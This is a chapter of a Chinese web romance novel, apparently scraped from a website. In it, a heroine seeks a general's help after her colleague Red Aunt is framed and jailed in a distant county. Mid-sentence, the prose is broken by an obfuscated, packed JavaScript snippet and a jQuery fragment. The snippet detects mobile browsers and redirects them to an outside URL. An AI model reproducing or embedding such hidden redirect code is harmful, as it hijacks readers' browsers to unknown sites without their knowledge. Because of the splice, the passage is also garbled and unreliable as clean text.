18. 第 18 章
作品:《被阴戾将军强取豪夺后》 得知红姨出事,是在两天后。
书院院长,亦是锦绣苑老板姚凤凝,她让人把宁霜找来,给她看了一封信。
信是从银江县寄来的。
而红姨此次去办公差的地方就是银江县。
宁霜匆匆将信看了一遍,不由地惊出一身冷汗。
信上说,红姨此次送货去银江县江家,按照规划,□□,钱货两讫,红姨就能回长陵了。
满打满算来回有个五天时间就够了。
红姨抵达银江县时已经是傍晚,等把货卸完,已经是掌灯时刻了。
江家人说,他们老爷身体偶感风寒,大晚上的就不出来验货算账了,等明日一早红姨再来结账。
因为是打过几次交道的熟家,红姨没做他想,就找了客栈歇息了。
谁知道,第二日一早她再去江家,却发现江家大门上挂白布,院子里传来哭声,一打听,竟是昨夜江家大老爷突然暴毙了。
红姨震惊之余,马上找了江府管家,询问货物是否验过?货款什么时候能算?
江家管家哭说,他们大老爷刚去了,府里慌乱,诸多事儿纷杂,顾不了生意上的事儿,只能请红姨多住几日等等消息。
对方府里出了这样的大事,红姨也不好勉强,只能是回了客栈坐等。
三日后,她又来到江府。
再问及货款一事,对方却指责红姨是上门讹诈,因为他们根本没见着货,何来付款一说?
红姨立刻意识到,对方这是想昧了这批货。
于是,她就与他们理论。
在争执中,江家二老爷的怀孕小妾不知怎么就倒在地上,她哀嚎着说是红姨推她踹她肚子。
红姨还没来得及解释,就见那女人的两腿间涌出了大量的血。
她深知,有大麻烦了。
果然,江家现任的当家人江家二老爷叫嚣着他子嗣被害,定要严惩杀人凶手。
江家报官了。
当地的县令亲自带衙役过来,把红姨抓住,投进了大牢。
给姚凤凝来信的是她在当地的一个朋友,那朋友说,江家在县衙上下打点过了,他们还找了证人证明当时的确是红姨打骂怀孕小妾,导致小妾流产的。
讹诈加上害人流产,这两项罪名加起来,估计红姨最少得被判个五年。
信看完了,宁霜咬咬唇,眸光泛冷,“院长,您打算怎么救红姨?”
瞧着面前玉容娇俏的姑娘,姚凤凝暗暗赞许,不过一个十六岁的小姑娘,在遇到至亲被陷害锒铛入狱的情况下,没有哭天抹泪,没有怨天载道,第一个念头想到的就是问询救人的法子,这一点冷静沉着,别说对她一个妙龄女郎,哪怕就是经历过诸多事的老妇人未必能做到。
“我已经托人去大理寺打听过,这事儿明摆着就是江家耍赖,但他们有人证又买通了官府,我们虽然可以据理力争,可一是当日红姨可能也是对江家大老爷过于信任,并没有收取货物收货凭证,二是那日双方争执时,红姨在恼怒之下,并没有在意对方的人里有没有一个怀孕的妇人,如此便直接导致,我们这边很被动,虽然我已经为红姨请了长陵城最好的讼师,但讼师直言不讳,这趟官司胜算的几率很低。”
“朗朗乾坤,难道就真没法子整治恶人?”
宁霜紧蹙眉心,攥紧粉拳,红姨不能出事,她一大家子人都指望着她的工钱活命呢,她丈夫几年前在矿上出事,双腿都被炸没了,那矿老板根本不负责,非说红姨丈夫是违规操作,结果自负。
红姨也曾想过打官司,可是谁都知道,衙门口朝南开,有理没钱莫进来的道理,她上有年迈的公婆,下有年幼的儿女,无奈之下,只好来长陵做事,赚钱养家。
如果她被关进大牢,他们一家几口生计都成问题。
“讼师倒是给想了个法子,我这几日也一直在找人帮忙,唉,就是没太大效果。毕竟……”
姚凤凝未完的话是,这长陵城里的达官贵人们,肯主动出手助人的,必然会有利益牵扯。
红姨一个乡下来的无名妇人,她生她死,在贵人们看来,不过是卑微的蝼蚁,他们又怎么会帮忙呢?
“院长,讼师的法子是什么?”
与面前眸光澄澈坚定的姑娘对视数息后,姚凤凝才缓缓道,“官大一级压死人,以暴治暴!”
宁霜瞬懂。
她是脚步虚浮地出了姚凤凝的院子。
姚凤凝见她神情有异,以为她是因红姨的案子陷入困局所致,当下还承诺她说,不管红姨的案子最后办的如何了,红姨的家人她是会出钱照拂的,让宁霜不要过于担心。
宁霜转身,给姚凤凝施礼,“宁霜替红姨谢谢院长,您是个好人。”
姚凤凝语气宽和,“我之所重用红姨,也是同情他们夫妻的遭遇,原本是想着帮他们的,没想到,这一回却竟是害了她,你放心,红姨的事儿再难,我也不会不管的。”
嗯。
宁霜用力点头。
这一瞬间,她也下了决心,豁出去一切,也要救红姨。
其实在看了那封信时,窜起在宁霜脑子里的第一个念头就是,这事儿只有求李斯年了。
但她两日前刚跟李斯年说过,她自认不详,为避免祸及李斯年,她要远离他!
如今,她再厚颜,也不好意思登门去求他。
可红姨的性命堪忧,她不能不管。
她去了镇抚司。
但门口的守卫告诉她,李指挥使下衙回府了。
她情绪有些怏怏,欲回去,等明日再来。
却刚一转头就遇到了李旭。
“宁姑娘,你怎么在这儿?是找……”
李旭很热情,脸上的笑也是很真诚的。
“我……我是有点事儿,想见见将军,既然他回府了,那我明日再来……”
宁霜脸色泛红,眼神闪避李旭,颇有几分心虚。
“宁姑娘是有急事吧?那干脆跟我去府里吧,主子刚回去,估计这会儿没什么公务。”
李旭连连怂恿。
宁霜有点为难。
在镇抚司衙门见李斯年,她还可以镇定些,毕竟是公事。
可一旦去了将军府,被后宅的夫人小姐们瞧见了,定然以为她是什么不正经的女子,大越国虽然男女来往没太大的约束,但那毕竟是在公众场合,若是一年轻女子径直去了某男子的院子,与其孤男寡女地待在一起,这传出去,好说不好听。
她支吾着,“事儿……不是太急,明日我……”
李旭却笑道,“宁姑娘的事儿就没有不急的,一路走到衙门,你累了吧,我这就找车载姑娘回府。”
说完扭头就吩咐门口的守卫去里头驾一辆马车来。
这一切李旭运作下来,丝毫没有给宁霜婉拒的机会。
等她回过神来,镇抚司衙门的马车已经停在眼前了。
不好拘了李旭好意的宁霜,只好上了马车。
小半个时辰后,马车停在李府门口。
从下马车到进府这一路,宁霜无时无刻不感觉到暗处有人在偷偷窥视自己。
甚至有婆子拉住李旭,问他宁霜是谁?
李旭说,“吴妈,您也是老夫人跟前的老人了,从老夫人那里也了解了将军的性情了吧?与他相关的人或者是事儿,岂容旁人打听?我劝您还是别多事,不然将军发火,老夫人也保不住你!”
那吴婆子一张老脸涨得通红,但也不敢说什么,只狠狠戳了宁霜一眼后,悄悄去了后宅。
让宁霜有些没想到的是,李斯年的院子竟是依山而建的。
院子前后种了树,树林一侧有一汪池水,湛清碧绿,远观去像极了一块四四方方的美玉,就镶嵌在将军府这座气势恢宏的宅子当中。
池中有一艘小船,两个小厮正从水中往船上拽渔网,网内时不时有蹦起的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344584|164588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鱼,看大小都有七八斤重,很是欢实。
李旭察觉宁霜关注池中网上来的鱼,笑嘻嘻地说,“老夫人很喜欢吃鱼,尤其是新鲜的鲤鱼,将军就命人挖了这池子,投入了一些野生的小鲤鱼,养几年都这般大小了。”
哦。
宁霜似有似无地哦了一声,想不到如李斯年那般狠厉角色,竟如此有孝心。
像是看透了她的心思,李旭很恰到好处地赞了他家主子一番,“我们将军不但有孝心,还十分有责任心,姑娘可能听说了,将军这些年身边一直都没女子,有人甚至谣传将军是断袖,我呸呸,那是我们将军洁身自好,将军说了,在没遇到心仪女子之前,他是不会乱来的,那对将来的将军夫人不公平。”
宁霜惊愕地看向李旭。
李旭用力点头,“真的,宁姑娘,你信我,我没说谎。”
宁霜的脑海里浮现出那日马车里探出一个美貌女子的头,她对着李斯年笑得很熟稔,她说,“斯年哥哥,我是为你的生辰赶回来的,你高兴吧?”
是以,她敛起别样心思,“李大哥,我们快去见将军吧?”
“啊?哦,好。”
李旭有点失望。
他都说的这么明显了,宁姑娘怎么好像根本没听明白呢?
进了听雨阁,李旭先让宁霜在走廊里等一下,他得先进去禀报。
刚欲推门,门就被人从里头推开了,孙重彬一脸惊惶地迈步出来,身后传来东西被砸向地面的震响,和一句恼怒之下的斥责,“这点案子都办不明白,养你们何用?”
李旭对孙重彬投以十分同情的目光,“出什么大事儿了,你被训成这样?”
孙重彬脸上努力维持的笑,比哭都难看,“就是抓嫌疑犯时撞倒了卖菜老农的两筐青菜,赔偿了老农五两银子,将军说,这是浪费办案经费,要严惩……”
李旭啧啧几声,“孙老哥,想不到,你竟犯下如此重大的错误,以你的资历与办案经验,完全不应该啊!”
孙重彬瞪他一眼的同时,抬脚要踹他,“臭小子,你又取笑我。”
“哎,你要是今儿个踹我了,我就不帮你了。”
“你怎么帮我?这两日将军的脾气不是一般的大,点火就着,你还帮我,昨日你不是刚被打了十板子吗?”
孙重彬不服。
“我说能帮你就能帮你!因为我找到了引发将军暴怒的根源了。”
李旭边说,边朝着宁霜所在的走廊那边努努嘴。
孙重彬顺着他示意的方向看过去,惊愕顿时写满了一张脸,“你的意思是,这几日将军情绪不对劲,都是因为宁姑娘?”
“你以为呢!”
李旭一脸看破又说破后的爽快。
“你的意思将军心仪宁姑娘,我懂,可为什么这两日将军会因为宁姑娘而喜怒无常呢?”
李旭凑到他耳边,压低嗓音,“因为两日前,宁姑娘说,以后要远离将军。”
“啊?原来是这样。”
孙重彬恍然大悟。同时又后知后觉地道,“看来咱们以后想日子过得太平,得求宁姑娘相助啊!”
李旭戳他脑袋,戏谑道,“朽木可雕也!”
“李旭,你还不滚进来。”
书房里,传来李斯年低沉冷厉的声音。
李旭忙推门进去。
门外的孙重彬站在风中凌乱了一会儿,迈步迎向宁霜,“宁姑娘,我近日刚得了永福楼的免费就餐劵,我这边事儿太多,没时间去,你若是有时间就与朋友一起去试试呗,永福楼的大厨是宫里的御厨,厨艺不凡呢。”
宁霜先是愕然了一下,而后就欲婉拒,孙重彬应该是猜着她的后续动作了,没给她推辞的时间,将免费券往她身侧的长椅上一放,人就脚不沾地地走了,走得那叫一个快,兔子都是他孙子。
宁霜愣在原地,好半天也没弄懂这位少将军的幕僚如此待自己的真实用意。